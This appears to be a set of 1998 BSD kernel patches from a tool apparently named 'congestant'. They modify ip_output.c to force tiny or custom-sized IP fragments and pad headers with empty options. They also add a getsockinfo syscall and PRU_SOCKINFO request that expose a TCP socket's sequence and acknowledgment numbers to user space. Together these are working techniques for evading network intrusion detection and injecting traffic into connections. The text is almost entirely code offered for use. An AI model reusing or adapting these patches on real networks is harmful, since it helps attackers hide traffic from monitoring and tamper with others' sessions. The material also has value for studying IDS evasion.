/usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c --- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998 +++ netinet/ip_output.c Tue Dec 8 11:00:14 1998 @@ -88,6 +88,10 @@ extern int ipsec_esp_network_default_level; #endif +int ip_fraghackhead=0; +int ip_fraghackbody=0; +int ip_optionshack=0; + /* * IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst). @@ -124,6 +128,9 @@ struct inpcb *inp; #endif + /* HACK */ + int fakeheadmtu; + va_start(ap, m0); opt = va_arg(ap, struct mbuf *); ro = va_arg(ap, struct route *); @@ -144,7 +151,50 @@ m = ip_insertoptions(m, opt, &len); hlen = len; } + /* HACK */ + else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + { + struct mbuf *n=NULL; + register struct ip* ip= mtod(m, struct ip*); + + if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) + { + MGETHDR(n, M_DONTWAIT, MT_HEADER); + if (n) + { + n->m_pkthdr.len = m->m_pkthdr.len + 40; + m->m_len -= sizeof(struct ip); + m->m_data += sizeof(struct ip); + n->m_next = m; + m = n; + m->m_len = 40 + sizeof(struct ip); + m->m_data += max_linkhdr; + bcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + } + } + else + { + m->m_data -= 40; + m->m_len += 40; + m->m_pkthdr.len += 40; + ovbcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + n++; /* make n!=0 */ + } + if (n!=0) + { + ip = mtod(m, struct ip *); + memset((caddr_t)(ip+1),0,40); + ip->ip_len += 40; + + hlen=60; + len=60; + } + } + ip = mtod(m, struct ip *); + /* * Fill in IP header. */ @@ -721,7 +771,15 @@ /* * If small enough for interface, can just send directly. */ - if ((u_int16_t)ip->ip_len <= ifp->if_mtu) { + + /* HACK */ + + fakeheadmtu=ifp->if_mtu; + + if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + fakeheadmtu=ip_fraghackhead; + + if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) { ip->ip_len = htons((u_int16_t)ip->ip_len); ip->ip_off = htons((u_int16_t)ip->ip_off); ip->ip_sum = 0; @@ -738,7 +796,10 @@ ipstat.ips_cantfrag++; goto bad; } - len = (ifp->if_mtu - hlen) &~ 7; + +/* HACK */ + + len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7; if (len < 8) { error = EMSGSIZE; goto bad; @@ -748,6 +809,9 @@ int mhlen, firstlen = len; struct mbuf **mnext = &m->m_nextpkt; + /*HACK*/ + int first=0; + /* * Loop through length of segment after first fragment, * make new header and copy data of each part and link onto chain. @@ -755,7 +819,9 @@ m0 = m; mhlen = sizeof (struct ip); for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) { - MGETHDR(m, M_DONTWAIT, MT_HEADER); + if (first && ip_fraghackbody) + len=(ip_fraghackbody-hlen) &~7; + MGETHDR(m, M_DONTWAIT, MT_HEADER); if (m == 0) { error = ENOBUFS; ipstat.ips_odropped++; @@ -791,6 +857,7 @@ mhip->ip_sum = 0; mhip->ip_sum = in_cksum(m, mhlen); ipstat.ips_ofragments++; + first=1; } /* * Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c --- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998 @@ -465,3 +465,18 @@ if (tp) tp->snd_cwnd = tp->t_maxseg; } + +/* HACK - This is a tcp subroutine added to grab the sequence numbers */ + +void tcp_getseq(struct socket *so, struct mbuf *m) +{ + struct inpcb *inp; + struct tcpcb *tp; + + if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp))) + { + m->m_len=sizeof(unsigned long)*2; + *(mtod(m,unsigned long *))=tp->snd_nxt; + *((mtod(m,unsigned long *))+1)=tp->rcv_nxt; + } +} diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c --- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998 @@ -363,6 +363,10 @@ in_setsockaddr(inp, nam); break; + case PRU_SOCKINFO: + tcp_getseq(so,m); + break; + case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h --- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998 +++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998 @@ -291,6 +291,8 @@ void tcp_pulloutofband __P((struct socket *, struct tcpiphdr *, struct mbuf *)); void tcp_quench __P((struct inpcb *, int)); +/*HACK*/ +void tcp_getseq __P((struct socket *, struct mbuf *)); int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <--> <++> congestant/kern.patch --- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998 @@ -924,6 +924,53 @@ } /* + * Get socket information. HACK + */ + +/* ARGSUSED */ +int +sys_getsockinfo(p, v, retval) + struct proc *p; + void *v; + register_t *retval; +{ + register struct sys_getsockinfo_args /* { + syscallarg(int) fdes; + syscallarg(int *) type; + syscallarg(int *) seq; + syscallarg(int *) ack; + } */ *uap = v; + struct file *fp; + register struct socket *so; + struct mbuf *m; + int error; + + if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0) + return (error); + + so = (struct socket *)fp->f_data; + + error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); + + if (!error && (so->so_type==SOCK_STREAM)) + { + m = m_getclr(M_WAIT, MT_DATA); + if (m == NULL) + return (ENOBUFS); + + error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); + + if (!error) + error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); + if (!error) + error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); + m_freem(m); + } + + return error; +} + +/* * Get name of peer for connected socket. */ /* ARGSUSED */ --- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998 +++ kern/syscalls.master Thu Dec 3 11:14:44 1998 @@ -476,7 +476,8 @@ 240 STD { int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); } 241 UNIMPL -242 UNIMPL +242 STD { int sys_getsockinfo(int fdes, int *type, \ + int *seq, int *ack); } 243 UNIMPL 244 UNIMPL 245 UNIMPL <--> <++> congestant/sys.patch --- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998 +++ sys/protosw.h Thu Dec 3 11:16:41 1998 @@ -148,8 +148,8 @@ #define PRU_SLOWTIMO 19 /* 500ms timeout */ #define PRU_PROTORCV 20 /* receive from below */ #define PRU_PROTOSEND 21 /* send to below */ - -#define PRU_NREQ 21 +#define PRU_SOCKINFO 22 +#define PRU_NREQ 22 #ifdef PRUREQUESTS char *prurequests[] = { @@ -158,7 +158,7 @@ "RCVD", "SEND", "ABORT", "CONTROL", "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR", "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO", - "PROTORCV", "PROTOSEND", + "PROTORCV", "PROTOSEND", "SOCKINFO", }; #endif <-->